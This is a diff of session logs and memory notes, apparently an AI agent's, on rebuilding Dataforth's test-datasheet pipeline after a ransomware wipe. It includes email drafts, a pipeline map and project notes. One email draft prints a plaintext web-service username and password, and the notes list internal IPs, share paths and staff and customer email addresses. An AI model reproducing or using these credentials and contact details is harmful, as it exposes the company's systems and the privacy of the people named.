- Mapped complete 5-stage pipeline: DOS test stations → NAS → AD2 sync → DFWDS → website
|
||||
- Identified CTONWTXT.BAT gap (TXT files stuck on DOS machines since Sept 2025)
|
||||
- Confirmed DFWDS.exe config lost in wipe, old website upload endpoints dead (404)
|
||||
- Found production config + VB6 source on ENGR share
|
||||
|
||||
### New Pipeline Built (C:\Shares\testdatadb\)
|
||||
- **Spec Parser** (parsers/spec-reader.js): Reads 8 binary spec DAT files, 1470 models
|
||||
- **Exact-Match Formatter** (templates/datasheet-exact.js): Reverse-engineered from QuickBASIC source
|
||||
- **Export System** (database/export-datasheets.js): Auto-generates TXT to X:\For_Web after import
|
||||
- **PDF On-Demand** (routes/api.js): /api/datasheet/:id/pdf endpoint
|
||||
- **UI Improvements**: ALL filter, auto-search, PDF download button, export status display
|
||||
|
||||
### Data Reconciliation
|
||||
- 1,436,007 DB records matched to existing For_Web files and marked as exported
|
||||
- 500,419 pre-2026 files archived into year subfolders (X:\For_Web\2013\, etc.)
|
||||
- Added forweb_exported_at and datasheet_exported_at tracking columns
|
||||
|
||||
### Customer Issue Resolved
|
||||
- Generated 72 of 73 requested datasheets (TXT + PDF) for Quatronix
|
||||
- Located on Desktop\Quatronix-Datasheets\
|
||||
- 1 remaining (177000-15, SCM5B49-05) needs empty spec file from John
|
||||
|
||||
### Infrastructure Fixes
|
||||
- Opened firewall on HGHAUBNER for SMB access
|
||||
- Fixed TestDataDB search defaulting to today's date
|
||||
- Identified testdatadb Windows service permission issues (SYSTEM vs sysadmin)
|
||||
|
||||
## Files Created/Modified
|
||||
See project_pipeline_rebuilt.md for full list.
|
||||
|
||||
## Open Items
|
||||
1. Website upload replacement (old ASP.NET endpoints dead)
|
||||
2. 7B datasheet formatting (specs loaded, formatter needs 7B-specific layout)
|
||||
3. SCM5B49 spec file empty — need from John
|
||||
4. MAQ20/PWRM10 integration (XLS format, different pipeline)
|
||||
5. 10D integration (JSON format, ~2 months out)
|
||||
6. Service permissions cleanup (runs as SYSTEM)
|
||||
7. Serial numbering standards discussion with John
|
||||
|
||||
## Key Contacts
|
||||
- John Lehman (jlehman@dataforth.com) — Engineering, QB code, specs
|
||||
- Peter Iliya (pIliya@dataforth.com) — Applications Engineer, manual datasheet retrieval
|
||||
- Ken Hoffman — TestDataSheetUploader author (VB.NET)
|
||||
- Ginger (gy@quatronix-cn.com) — Quatronix China, customer requesting datasheets
|
||||
|
||||
## Key Paths
|
||||
- Test DB app: C:\Shares\testdatadb\
|
||||
- Spec data: C:\Shares\testdatadb\specdata\
|
||||
- For_Web: X:\For_Web\ (\ad2\webshare)
|
||||
- ENGR share: \AD1\Engineering\ENGR\ATE\
|
||||
- NAS: 192.168.0.9 (D2TESTNAS, rsync daemon port 873)
|
||||
- Sync script: C:\Shares\test\scripts\Sync-FromNAS-rsync.ps1
|
||||
98
clients/dataforth/session-logs/email-draft-morning.md
Normal file
98
clients/dataforth/session-logs/email-draft-morning.md
Normal file
@@ -0,0 +1,98 @@
|
||||
Subject: RE: Test Datasheets to Website - Full Pipeline Analysis & Recovery Plan
|
||||
|
||||
John, Ken,
|
||||
|
||||
Following up on John's email - I've done a thorough trace of the entire test datasheet pipeline from the DOS test stations through to dataforth.com. Here's what I've found and what needs to be fixed.
|
||||
|
||||
## Current Pipeline (5 Stages)
|
||||
|
||||
### Stage 1 - QuickBASIC Test Programs (WORKING)
|
||||
Test programs (e.g., TEST5B2E.BAS) write results two ways:
|
||||
- LOGIT: binary .DAT files → C:\ATE\{5BLOG,8BLOG,...}\
|
||||
- DATASHEETWRITE: .TXT datasheets → C:\STAGE\
|
||||
|
||||
Filename encoding via GETDSFNAME:
|
||||
- 5-digit WO#: {WO#}-{dash#}.TXT (e.g., 12345-1.TXT)
|
||||
- 6-digit WO# (10xxxx-19xxxx): alpha-encoded (e.g., 123456 → C3456-1.TXT)
|
||||
- Invalid WO#: BAD-{dash#}.TXT
|
||||
|
||||
### Stage 2 - Network Transfer on Boot (BROKEN)
|
||||
AUTOEXEC.BAT v4.1 (deployed 2026-03-12) calls:
|
||||
1. STARTNET.BAT → maps T: = \\D2TESTNAS\test, X: = \\D2TESTNAS\datasheets
|
||||
2. NWTOC.BAT → software updates (working)
|
||||
3. CTONW.BAT → copies .DAT files to T:\TS-XX\LOGS\ (working)
|
||||
4. menux → test menu (working)
|
||||
|
||||
**PROBLEM: CTONWTXT.BAT is never called.** This is the batch file that copies C:\STAGE\*.txt to X: (the datasheets share). It exists on the machines (1,504 bytes, dated 03-12-26) but nothing invokes it. The old ARCHBAT.BAT called it, but ARCHBAT is not called in the current AUTOEXEC either.
|
||||
|
||||
**Result: .TXT datasheets have been accumulating in C:\STAGE on the test stations since approximately September 2025.** Peter confirmed finding old files there.
|
||||
|
||||
**Fix:** Add the following line to CTONW.BAT (or AUTOEXEC.BAT), after the existing .DAT transfer:
|
||||
CALL C:\BAT\CTONWTXT.BAT %MACHINE% X:
|
||||
|
||||
This can be deployed to all 64 stations via the existing NAS software push (Sync-FromNAS pushes updated ProdSW and BAT files to the NAS, and NWTOC pulls them to each station on boot).
|
||||
|
||||
### Stage 3 - DFWDS.exe Processing (BROKEN)
|
||||
DFWDS.exe (Dataforth Website Datasheet program, version 2015-06-08) processes files that arrive in X:\Test_Datasheets:
|
||||
- Validates filenames and content
|
||||
- Renames DOS-encoded filenames to serial number format
|
||||
- Moves valid files → X:\For_Web (currently ~501,000 files)
|
||||
- Moves invalid files → X:\Bad_Datasheets (~18,800 files)
|
||||
- Logs to X:\Datasheets_Log
|
||||
|
||||
**PROBLEM: The config file C:\DFWDS\DFWDS_NAMES.TXT was lost in the crypto wipe.** The exe is hardcoded to read from that path. The ENGR share has a copy of the exe and the config template at \\AD1\Engineering\ENGR\ATE\Test Datasheets\DFWDS\. We also don't have a scheduled task for it on AD2.
|
||||
|
||||
DFWDS last ran successfully on 2026-03-11 (processed 978 files, 0 bad). Before that, there's a gap back to September 2025. The X:\Test_Datasheets folder currently has 338 files waiting to be processed.
|
||||
|
||||
**Fix:**
|
||||
1. Create C:\DFWDS\ on AD2 and restore DFWDS_NAMES.TXT with the correct paths
|
||||
2. Copy DFWDS.exe from the ENGR share
|
||||
3. Create a scheduled task to run it (daily? on a schedule that matches production?)
|
||||
|
||||
**Question for John/Ken:** How often was DFWDS.exe previously run, and was it on a schedule or triggered manually?
|
||||
|
||||
### Stage 4 - TestDataSheetUploader to Website (BROKEN)
|
||||
Ken's VB.NET app (TestDataSheetUploader) syncs X:\For_Web to dataforth.com via three web services:
|
||||
- Uploader.aspx - uploads new/changed files
|
||||
- DirectoryManifest.aspx - gets server file list for comparison
|
||||
- DeleteFile.aspx - removes obsolete files from server
|
||||
|
||||
The app compares local files against the server manifest by filename, size, and last-write-time, and only uploads files modified in the current year.
|
||||
|
||||
Source is on the ENGR share at: \\AD1\Engineering\ENGR\ATE\Test Datasheets\TestDataSheetUploader\
|
||||
Last built: November 2, 2022
|
||||
|
||||
**PROBLEM: Not deployed or scheduled on AD2. The app.config still has dev paths (C:\Users\hoffm\...) instead of production paths.**
|
||||
|
||||
**Fix:**
|
||||
1. Update app.config TestDataSheetPath to point to X:\For_Web
|
||||
2. Deploy the built exe to AD2
|
||||
3. Create a scheduled task
|
||||
|
||||
**Question for Ken:** What was the production config for TestDataSheetPath? Was it X:\For_Web or something else? Was this run on a schedule or manually? Are the web service credentials (DataforthWebShare) still valid?
|
||||
|
||||
### Stage 5 - PDF Generation (UNKNOWN)
|
||||
X:\For_Web_PDF contains ~4,773 PDF versions of datasheets. I haven't identified what generates these.
|
||||
|
||||
**Question:** What creates the PDFs? Is this a separate process we need to restore?
|
||||
|
||||
## What's Currently Working
|
||||
- Test programs are generating data (files from today in X:\Test_Datasheets)
|
||||
- NAS sync (Sync-FromNAS-rsync.ps1) runs every 15 min, pulling .DAT files and pushing software updates
|
||||
- TestDataDB server is running on AD2 (port 3000), importing .DAT files
|
||||
- X: drive (\\AD2\webshare) is accessible with all folders intact
|
||||
- 501K+ historical datasheets in X:\For_Web are preserved
|
||||
|
||||
## What's Broken (in pipeline order)
|
||||
1. CTONWTXT.BAT not called → TXT files stuck on DOS machines
|
||||
2. DFWDS.exe config missing → files in Test_Datasheets not processed
|
||||
3. TestDataSheetUploader not deployed → files in For_Web not synced to website
|
||||
|
||||
## Proposed Fix Order
|
||||
1. Fix CTONW.BAT to call CTONWTXT.BAT → deploy via NAS push
|
||||
2. Restore DFWDS on AD2 (config + exe + scheduled task)
|
||||
3. Deploy TestDataSheetUploader with production config + scheduled task
|
||||
|
||||
Let me know your thoughts and answers to the questions above so we can start restoring this.
|
||||
|
||||
Mike
|
||||
102
clients/dataforth/session-logs/email-draft-updated.md
Normal file
102
clients/dataforth/session-logs/email-draft-updated.md
Normal file
@@ -0,0 +1,102 @@
|
||||
Subject: Test Datasheets to Website - Pipeline Rebuilt, Status Update & Open Questions
|
||||
|
||||
John, Ken,
|
||||
|
||||
Following up on John's email from this morning — I've completed a full analysis and rebuild of the test datasheet pipeline. Here's where things stand.
|
||||
|
||||
## What We Found
|
||||
|
||||
### The Complete Original Pipeline (5 stages)
|
||||
1. QuickBASIC test programs write .TXT datasheets to C:\STAGE on each DOS machine
|
||||
2. CTONWTXT.BAT copies C:\STAGE\*.txt to X:\Test_Datasheets on boot
|
||||
3. DFWDS.exe validates/renames files, moves valid ones to X:\For_Web
|
||||
4. TestDataSheetUploader syncs X:\For_Web to dataforth.com via HTTP web services
|
||||
5. Website serves datasheets at dataforth.com/TestDataReport
|
||||
|
||||
### What Was Broken
|
||||
- **CTONWTXT.BAT** is never called in the current AUTOEXEC.BAT v4.1 (deployed 2026-03-12). ARCHBAT.BAT isn't called either. TXT datasheets have been accumulating in C:\STAGE on test stations since ~Sept 2025.
|
||||
- **DFWDS.exe** config (C:\DFWDS\DFWDS_NAMES.TXT) was lost in the crypto wipe. No scheduled task. We found the production config and VB6 source on the ENGR share at \\AD1\Engineering\ENGR\ATE\Test Datasheets\DFWDS\Program\.
|
||||
- **TestDataSheetUploader** was not deployed/scheduled on AD2. The app.config still had dev paths.
|
||||
- **Website upload endpoints** (dataforth.com/Services/Uploader.aspx, DirectoryManifest.aspx, DeleteFile.aspx) all return 404. These old ASP.NET services no longer exist on the current website.
|
||||
|
||||
## What We Rebuilt (New Approach)
|
||||
|
||||
Rather than restoring the old DFWDS + TestDataSheetUploader chain, we built a new pipeline that generates datasheets directly from the DAT file data that's already being imported into the test database. This eliminates the need for CTONWTXT.BAT, DFWDS.exe, and the old VB.NET uploader entirely.
|
||||
|
||||
### New Pipeline
|
||||
1. Sync-FromNAS pulls .DAT files from the NAS every 15 minutes (already working)
|
||||
2. import.js parses DAT files into the database (already working)
|
||||
3. **NEW: After import, the system automatically generates exact-match TXT datasheets and writes them to X:\For_Web**
|
||||
|
||||
### What Was Built (all integrated into the TestDataDB app on AD2)
|
||||
|
||||
**Spec Parser (parsers/spec-reader.js)**
|
||||
- Reads the QuickBASIC binary spec files (5BMAIN.DAT, 8BMAIN.DAT, DSCOUT.DAT, SCTMAIN.DAT)
|
||||
- Decodes all 4 product family TYPE structures (SCM5B, 8B, DSCA, DSCT)
|
||||
- 751 model specifications loaded and available for lookup
|
||||
|
||||
**Exact-Match Datasheet Formatter (templates/datasheet-exact.js)**
|
||||
- Reverse-engineered from the QuickBASIC DATASHEETWRITE subroutine source code
|
||||
- Produces TXT output identical to the original format: header, accuracy test table, final test results with spec limits, footer with checklist, NIST certification
|
||||
- Handles all 4 product families with correct column headers per sensor type (Vin, Temp, Iin, Rin), conditional parameters, and family-specific footers
|
||||
- Spec limits displayed using the same TSPECS logic as the original QuickBASIC code
|
||||
|
||||
**Export System (database/export-datasheets.js)**
|
||||
- Generates {serial_number}.TXT files in X:\For_Web
|
||||
- Tracks export status via datasheet_exported_at field in the database (prevents duplicates)
|
||||
- Can run standalone for batch export or automatically after each import
|
||||
- Integrated into import.js as a post-import hook
|
||||
|
||||
**On-Demand PDF Generation**
|
||||
- Added /api/datasheet/:id/pdf endpoint to the web app
|
||||
- Users can download a PDF of any test record from the database UI
|
||||
- Uses the exact-match formatter so PDFs match the original TXT layout
|
||||
|
||||
**Database/UI Improvements**
|
||||
- Added datasheet_exported_at column for tracking export status
|
||||
- Search now defaults to showing all records (was previously empty on load)
|
||||
- Added "ALL" quick filter button
|
||||
- Added "DOWNLOAD PDF" button in the record detail view
|
||||
|
||||
### Data Reconciliation
|
||||
- Cross-referenced 2.27M database records against the 501K existing files in X:\For_Web
|
||||
- 1,436,006 records matched existing files and were marked as already exported
|
||||
- ~830K records remain unexported (many are 7B series which we don't have spec files for yet)
|
||||
|
||||
### For_Web Archive
|
||||
- X:\For_Web had 501K files, making directory scans very slow
|
||||
- Archiving pre-2026 files into year subfolders (X:\For_Web\2013\, X:\For_Web\2014\, etc.)
|
||||
- This reduces the active folder from 501K to ~1,058 current-year files
|
||||
- Archived files remain accessible but won't interfere with the upload process
|
||||
|
||||
## What Still Needs To Be Done
|
||||
|
||||
### 1. Website Upload Replacement (NEEDS INPUT)
|
||||
The old TestDataSheetUploader's web service endpoints (Uploader.aspx, DirectoryManifest.aspx, DeleteFile.aspx) are all dead — they return 404 on the current dataforth.com website.
|
||||
|
||||
**Questions for Ken:**
|
||||
- When did the website change? Was the uploader working before the crypto attack?
|
||||
- What does the current website use for test data lookup? The legacy site (legacy.dataforth.com/TestDataReport_Print.aspx) still works without authentication. The new site (dataforth.com/TestDataReport) requires OIDC login.
|
||||
- Do we need to build a new upload mechanism, or does the website team need to provide new endpoints?
|
||||
- Are the old credentials (DataforthWebShare / Data6277) still valid for anything?
|
||||
|
||||
### 2. CTONWTXT.BAT Fix on DOS Machines (NEEDS INPUT from John)
|
||||
The current AUTOEXEC.BAT calls CTONW.BAT (DAT files only) but not CTONWTXT.BAT (TXT datasheets). Peter confirmed TXT files piling up in C:\STAGE since Sept 2025.
|
||||
|
||||
**However**, with the new pipeline, we may not need CTONWTXT.BAT at all — the datasheets are now generated from DAT data on the server side. The TXT files in C:\STAGE are redundant.
|
||||
|
||||
**Question for John:** Should we still fix CTONWTXT.BAT for redundancy/local backup purposes, or is the server-side generation sufficient? If we do fix it, the change is simple: add `CALL C:\BAT\CTONWTXT.BAT %MACHINE% X:` to CTONW.BAT and deploy via the NAS push.
|
||||
|
||||
### 3. SCM7B Spec File (OPTIONAL)
|
||||
We have spec files for SCM5B, 8B, DSCA, and DSCT. The 7B series (~830K records) can't generate datasheets without a 7BMAIN.DAT or equivalent.
|
||||
|
||||
**Question for John:** Is there a 7B spec DAT file on the ENGR share? Where are the 7B test programs located?
|
||||
|
||||
### 4. TestDataDB Service Permissions
|
||||
The Windows service (testdatadb) runs as SYSTEM, which creates file permission conflicts with maintenance operations. We should either:
|
||||
- Change the service to run as INTRANET\sysadmin
|
||||
- Or set proper inherited permissions on the testdatadb directory
|
||||
|
||||
Let me know your thoughts on the open questions, especially the website upload situation.
|
||||
|
||||
Mike
|
||||
11
clients/dataforth/session-logs/feedback_sn_from_data.md
Normal file
11
clients/dataforth/session-logs/feedback_sn_from_data.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
name: Serial numbers from DAT data, not filenames
|
||||
description: Design decision - always extract real serial numbers from DAT record data, never rely on 8.3 encoded filenames. Discussed with John Lehman 2026-03-27.
|
||||
type: feedback
|
||||
---
|
||||
|
||||
Always pull serial numbers from the DAT record data (e.g., "178439-1","02-09-2026"), not from filenames. DOS machines use 8.3 filename encoding (GETDSFNAME compresses 6-digit WOs via A-J prefix), but that's irrelevant to the server-side pipeline.
|
||||
|
||||
**Why:** DOS 8.3 filenames are lossy encodings of the real SN. The old DFWDS.exe existed solely to reverse this encoding. By reading the SN from the data, we eliminate the rename step entirely and decouple the pipeline from DOS filesystem limitations.
|
||||
|
||||
**How to apply:** Any new import/export code should use `serial_number` from the parsed record, never derive SNs from filenames. This applies to all product families including future ones.
|
||||
11
clients/dataforth/session-logs/project_ad2_context.md
Normal file
11
clients/dataforth/session-logs/project_ad2_context.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
name: AD2 crypto wipe context
|
||||
description: This machine is AD2 (not AD1), wiped months ago due to crypto attack. Many files may be missing. Investigation is about reconstructing test datasheet pipeline from surviving files.
|
||||
type: project
|
||||
---
|
||||
|
||||
This machine (192.168.0.6) is AD2, which was wiped several months ago due to a cryptocurrency/ransomware attack. Some files are completely missing.
|
||||
|
||||
**Why:** Need to reconstruct understanding of the test datasheet data path from whatever surviving files and context clues remain, particularly on the \\AD1\ENGR share.
|
||||
|
||||
**How to apply:** Don't assume files exist locally on AD2. Look at \\AD1\ENGR\ and other network shares for clues. Be thorough in searching since evidence may be scattered.
|
||||
38
clients/dataforth/session-logs/project_ctonwtxt_gap.md
Normal file
38
clients/dataforth/session-logs/project_ctonwtxt_gap.md
Normal file
@@ -0,0 +1,38 @@
|
||||
---
|
||||
name: CTONWTXT.BAT not called in current AUTOEXEC
|
||||
description: Current AUTOEXEC.BAT v4.1 on DOS test stations calls CTONW.BAT (DAT files only) but NOT CTONWTXT.BAT (TXT datasheets). TXT files piling up in C:\STAGE on DOS machines.
|
||||
type: project
|
||||
---
|
||||
|
||||
## The Gap (confirmed 2026-03-27 via John Lehman email)
|
||||
|
||||
Current AUTOEXEC.BAT v4.1 (deployed 2026-03-12) boot sequence on DOS test stations:
|
||||
1. STARTNET.BAT — maps T: = \\D2TESTNAS\test, X: = \\D2TESTNAS\datasheets
|
||||
2. NWTOC.BAT — checks for software updates from network
|
||||
3. CTONW.BAT — uploads .DAT log files to T:\TS-XX\LOGS\ (only .DAT, NOT .TXT)
|
||||
4. menux — launches the test menu system
|
||||
|
||||
Missing: CTONWTXT.BAT (copies C:\STAGE\*.txt to X: drive) is NOT called.
|
||||
ARCHBAT.BAT (which called NWtoC, CtoNW, AND CtoNWtxt) is also NOT called.
|
||||
John Lehman is still investigating where/if ARCHBAT was previously called.
|
||||
|
||||
Peter Iliya found many .TXT files in C:\STAGE dating back to Sept 2025 on test machines.
|
||||
|
||||
## CTONWTXT.BAT Logic (from email screenshots)
|
||||
- Checks if C:\STAGE\*.txt exists
|
||||
- Verifies network via %2\serve.sys
|
||||
- copy C:\STAGE\*.txt %2 (X: drive = \\D2TESTNAS\datasheets\Test_Datasheets)
|
||||
- DEL C:\STAGE\*.txt
|
||||
- Logs to C:\ATE\CtoNWtxt.log
|
||||
|
||||
## Fix Options
|
||||
1. Add `CALL C:\BAT\CTONWTXT.BAT %MACHINE% X:` to AUTOEXEC.BAT (or to CTONW.BAT)
|
||||
2. Or integrate TXT transfer into the existing CTONW.BAT
|
||||
|
||||
## Filename Encoding (from John's email)
|
||||
- 5-digit WO#: {WO#}-{dash#}.TXT (e.g., 12345-1.TXT)
|
||||
- 6-digit WO# (10xxxx-19xxxx): first 2 digits encoded A-J, then 4 digits + dash# (e.g., 123456 -> C3456-1.TXT)
|
||||
- Invalid WO#s get filename "BAD-{dash#}.TXT" with search name "BAD"
|
||||
|
||||
**Why:** This is why X:\Test_Datasheets has a backlog and DFWDS hasn't been processing new files.
|
||||
**How to apply:** Need to fix CTONW.BAT or AUTOEXEC.BAT to include TXT transfer, then deploy to all 64 stations.
|
||||
@@ -0,0 +1,83 @@
|
||||
---
|
||||
name: ENGR share exploration progress
|
||||
description: Progress exploring \\AD1\Engineering\ENGR for test datasheet pipeline clues. Key directories identified, ATE/Test Datasheets found.
|
||||
type: project
|
||||
---
|
||||
|
||||
## Share Access
|
||||
- Share name is `Engineering` (not `ENGR`): `\\AD1\Engineering\ENGR\`
|
||||
- Access via bash: `//ad1/Engineering/ENGR/`
|
||||
- AD1 IP: 192.168.0.27
|
||||
|
||||
## AD1 Shares (from Get-SmbShare)
|
||||
- Engineering -> C:\Engineering
|
||||
- ITSvc -> C:\Shares\ITSvc
|
||||
- Plus default admin shares (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)
|
||||
|
||||
## Current Network Mappings on AD2
|
||||
- B: -> \\ad1\itsvc
|
||||
- Q: -> \\ad2\c-drive
|
||||
- S: -> \\SAGE-SQL\sage
|
||||
- T: -> \\ad2\e-drive
|
||||
- W: -> \\files-d1\sales
|
||||
- X: -> \\ad2\webshare
|
||||
- Y: -> \\files-d1\archive
|
||||
|
||||
## ENGR Top-Level Structure
|
||||
```
|
||||
ATE/ <-- Automated Test Equipment - KEY AREA
|
||||
Custom Products/
|
||||
DESIGN/
|
||||
LABEL/
|
||||
MTBF Calculations/
|
||||
Project Reports/
|
||||
Software/
|
||||
Staff Directories/
|
||||
Test Equipment/
|
||||
```
|
||||
|
||||
## ATE Folder Contents (MOST RELEVANT)
|
||||
```
|
||||
0 D2TESTNAS, 8B, 8B isoLynx SLX300, 8BGangTester, 8BPWR,
|
||||
8Bdatabase-changes, ADDR, ATE Networking, All_Model_Specs,
|
||||
Application Notes, BACKPANEL TEST FIXTURE PROJECT, Book4.xls,
|
||||
CM-3-101, DSCA, DSCP, DSCT, FLUKE 8845A development,
|
||||
File Utilities, Fluke Calibration Management,
|
||||
High Voltage Input Module Test, KEPCO ABC software, LDM, MENU,
|
||||
MS-DOS 6.22, Perforce-Extracted Files-5B&8B isL, Polynomials,
|
||||
Print, ProdSW, Python, QB45, RML, RMSIN, SCM5B, SCM5B isoLynx,
|
||||
SCM5B_Gang_Tester, SCM7B, SCM7B_Gang_Tester, SCMD, SCMVAS_SCMHVAS,
|
||||
TESTLOGS, TPR List, **Test Datasheets**, Test Equipment,
|
||||
Tester Notebooks, Toshiba (7-day burn-in), Trouble Shooting,
|
||||
Troubleshooting Tools
|
||||
```
|
||||
|
||||
**KEY FIND: `ATE/Test Datasheets/` exists — not yet explored.**
|
||||
|
||||
Also notable in ATE:
|
||||
- `QB45/` — QuickBASIC 4.5 source likely here
|
||||
- `D2TESTNAS/` — config/docs for the NAS
|
||||
- `MS-DOS 6.22/` — DOS setup files
|
||||
- `TESTLOGS/` — test log output
|
||||
- `ProdSW/` — production software
|
||||
- `MENU/` — likely the DOS menu system
|
||||
- Various product family folders (8B, SCM5B, SCM7B, DSCA, DSCT, etc.)
|
||||
|
||||
## Software Folder Contents
|
||||
Mostly installer/tool archives. Notable: QB64, ReDAQ, FieldTalk, Modbus Poll, Visual Studio 2008
|
||||
|
||||
## DESIGN Folder Contents
|
||||
Product design folders by family. Notable: `Test Equipment Design/` subfolder.
|
||||
|
||||
## Next Steps
|
||||
1. **Explore ATE/Test Datasheets/** — this is the primary target
|
||||
2. Explore ATE/QB45/ — QuickBASIC source that runs on DOS machines
|
||||
3. Explore ATE/TESTLOGS/ — test output logs
|
||||
4. Explore ATE/ProdSW/ — production software
|
||||
5. Explore ATE/D2TESTNAS/ — NAS configuration
|
||||
6. Explore ATE/MENU/ — DOS menu system
|
||||
7. Look for any upload/sync scripts or scheduled task configs
|
||||
|
||||
**Why:** Reconstructing test datasheet pipeline from context clues since AD2 was wiped.
|
||||
|
||||
**How to apply:** Continue systematic exploration of \\AD1\Engineering\ENGR\ATE\ subtree, prioritizing Test Datasheets, QB45, TESTLOGS, and any sync/upload related files.
|
||||
37
clients/dataforth/session-logs/project_new_product_lines.md
Normal file
37
clients/dataforth/session-logs/project_new_product_lines.md
Normal file
@@ -0,0 +1,37 @@
|
||||
---
|
||||
name: New product line datasheet formats (MAQ20, PWRM, 10D, DSCMHV)
|
||||
description: MAQ20/PWRM use XLS multi-sheet format, 10D will use JSON. Different paths and naming conventions from legacy QuickBASIC pipeline. Details from John Lehman 2026-03-27.
|
||||
type: project
|
||||
---
|
||||
|
||||
## MAQ20 Product Line
|
||||
- Location: T:\ENGR\DESIGN\MAQ20 Design\Test Data (T: = old ENGR share)
|
||||
- **Needs to move** from T: to K: (TEST share), then update programs to save to K:
|
||||
- Format: .xls with multiple sheets:
|
||||
- Sheet 1: list of test steps used by test program
|
||||
- Sheet 2: test results
|
||||
- Some have customer-ready datasheet on another tab
|
||||
- Some have .pdfs
|
||||
- First pass AND final pass data saved regardless of pass/fail
|
||||
- Uses naming standard implemented ~2021
|
||||
|
||||
## PWRM10 (Energy Measurement Module)
|
||||
- Location: U:\DESIGN\PWRM10 Energy Measurement Module\Test Data\Final Pass Test
|
||||
- Format: .xls with numerical data + semi customer-ready datasheet on another tab
|
||||
- First pass AND final pass data saved regardless of pass/fail
|
||||
|
||||
## 10D (Not yet released — ~2 months out as of 2026-03-27)
|
||||
- Location: K:\10D\first_pass and K:\10D\second_pass\pass
|
||||
- Data segregated by directory: first/second pass, pass/fail subdirectories
|
||||
- Will use **JSON format** per John's earlier email
|
||||
|
||||
## DSCMHV
|
||||
- New product line, uses same naming standard as MAQ20/PWRM/10D
|
||||
|
||||
## Standards Discussion
|
||||
- User (Mike) and John discussing better serial numbering that encodes more product detail
|
||||
- Current convention: sequential S/N can be all different products (confusing)
|
||||
- Naming standard from ~2021 used for MAQ20+ lines but could be improved
|
||||
|
||||
**Why:** These are the next product lines to integrate after the legacy QB pipeline is restored.
|
||||
**How to apply:** The current TXT pipeline (spec-reader + exact formatter) won't work for these. Need XLS parser for MAQ20/PWRM, JSON parser for 10D. John says customer-ready datasheets need improvement for all three.
|
||||
47
clients/dataforth/session-logs/project_pipeline_rebuilt.md
Normal file
47
clients/dataforth/session-logs/project_pipeline_rebuilt.md
Normal file
@@ -0,0 +1,47 @@
|
||||
---
|
||||
name: Test datasheet pipeline rebuilt 2026-03-27
|
||||
description: New server-side pipeline replaces CTONWTXT/DFWDS/TestDataSheetUploader. Generates exact-match TXT from DAT imports. 1470 model specs loaded.
|
||||
type: project
|
||||
---
|
||||
|
||||
## What Was Built (2026-03-27)
|
||||
|
||||
All files in C:\Shares\testdatadb\:
|
||||
|
||||
### New Files
|
||||
- `parsers/spec-reader.js` — Reads 8 binary spec DAT files, 1470 models across 6 families (SCM5B, 8B, DSCA, DSCT, SCM7B, plus sub-families 5B45, 5B48)
|
||||
- `templates/datasheet-exact.js` — Exact-match TXT formatter reverse-engineered from QuickBASIC DATASHEETWRITE
|
||||
- `database/export-datasheets.js` — Standalone/library export script, writes {SN}.TXT to X:\For_Web
|
||||
- `database/archive-for-web.js` — Archives old For_Web files into year subfolders
|
||||
- `database/generate-customer-pdfs.js` — One-off script for Quatronix customer order (72/73 generated)
|
||||
- `specdata/` — Binary spec DAT files (5BMAIN, 8BMAIN, DSCOUT, SCTMAIN, DSCMAIN4, 7BMAIN, 5B45DATA, DB5B48)
|
||||
|
||||
### Modified Files
|
||||
- `database/import.js` — Post-import hook calls export-datasheets after incremental imports
|
||||
- `database/schema.sql` — Added datasheet_exported_at and forweb_exported_at columns
|
||||
- `routes/api.js` — Added /api/datasheet/:id/pdf endpoint (pdfkit)
|
||||
- `public/index.html` — Added ALL filter, auto-search on load, PDF download button, export status in detail view
|
||||
- `package.json` — Added pdfkit dependency
|
||||
|
||||
### Database Changes
|
||||
- `datasheet_exported_at` — When TXT was generated
|
||||
- `forweb_exported_at` — When file was confirmed in X:\For_Web
|
||||
- 1,436,007 records pre-marked as exported (matched existing For_Web files)
|
||||
|
||||
### Pipeline Flow
|
||||
DAT file arrives via NAS sync → import.js parses to DB → export-datasheets generates {SN}.TXT → X:\For_Web
|
||||
|
||||
### What's Eliminated
|
||||
- CTONWTXT.BAT (DOS-side TXT transfer) — no longer needed
|
||||
- DFWDS.exe (filename decoder/validator) — no longer needed
|
||||
- TestDataSheetUploader (VB.NET web uploader) — endpoints are 404, needs replacement
|
||||
|
||||
### Remaining Gaps
|
||||
- Website upload: old ASP.NET endpoints dead (404), need new upload mechanism
|
||||
- SCM5B49 spec file empty (0 bytes) — need John's help
|
||||
- 7B datasheet formatting not yet added to datasheet-exact.js (7B has 30+ unique parameters)
|
||||
- Service runs as SYSTEM causing permission issues with SHM/WAL files
|
||||
- 500K files archived into year subfolders in X:\For_Web
|
||||
|
||||
**Why:** Rebuilt to recover from crypto wipe and unblock customer shipments (Quatronix/China blocking on missing datasheets).
|
||||
**How to apply:** For new test data, the pipeline is automatic via Sync-FromNAS. For the 830K backlog of unexported records, run `node database/export-datasheets.js --limit N`.
|
||||
@@ -0,0 +1,75 @@
|
||||
---
|
||||
name: Test datasheet pipeline map
|
||||
description: Full pipeline from DOS test stations through NAS sync, DFWDS processing, to web upload at dataforth.com. Includes current status of each stage.
|
||||
type: project
|
||||
---
|
||||
|
||||
## Complete Pipeline (5 stages)
|
||||
|
||||
### Stage 1: Test Stations (QuickBASIC on DOS)
|
||||
- 64 test stations (TS-1 through TS-30, plus L/R variants, TS-GURU, TS-TOM)
|
||||
- QuickBASIC programs generate test data -> local C:\STAGE on each DOS PC
|
||||
- Data flows to D2TESTNAS (NAS at 192.168.0.9, rsync daemon port 873, module "test" -> /data/test)
|
||||
|
||||
### Stage 2: NAS <-> AD2 Sync (Sync-FromNAS-rsync.ps1)
|
||||
- Runs every 15 min via scheduled task on AD2
|
||||
- PULL: .DAT files + .TXT reports from NAS -> C:\Shares\test\TS-XX\LOGS\<type>\ and \Reports\
|
||||
- Imports .DAT files into TestDataDB via C:\Shares\testdatadb\database\import.js
|
||||
- PUSH: Software updates (ProdSW, UPDATE.BAT, DEPLOY.BAT) from AD2 -> NAS for DOS machines
|
||||
- Log types: 5BLOG, 7BLOG, 8BLOG, DSCLOG, SCTLOG, VASLOG, PWRLOG, HVLOG
|
||||
- Script: C:\Shares\test\scripts\Sync-FromNAS-rsync.ps1
|
||||
- Log: C:\Shares\test\scripts\sync-from-nas.log (rotated at 10MB, 5 archives)
|
||||
|
||||
### Stage 3: DFWDS.exe (Dataforth Website Datasheet program, v2015)
|
||||
- Source exe: \\AD1\Engineering\ENGR\ATE\Test Datasheets\DFWDS\DFWDS.exe
|
||||
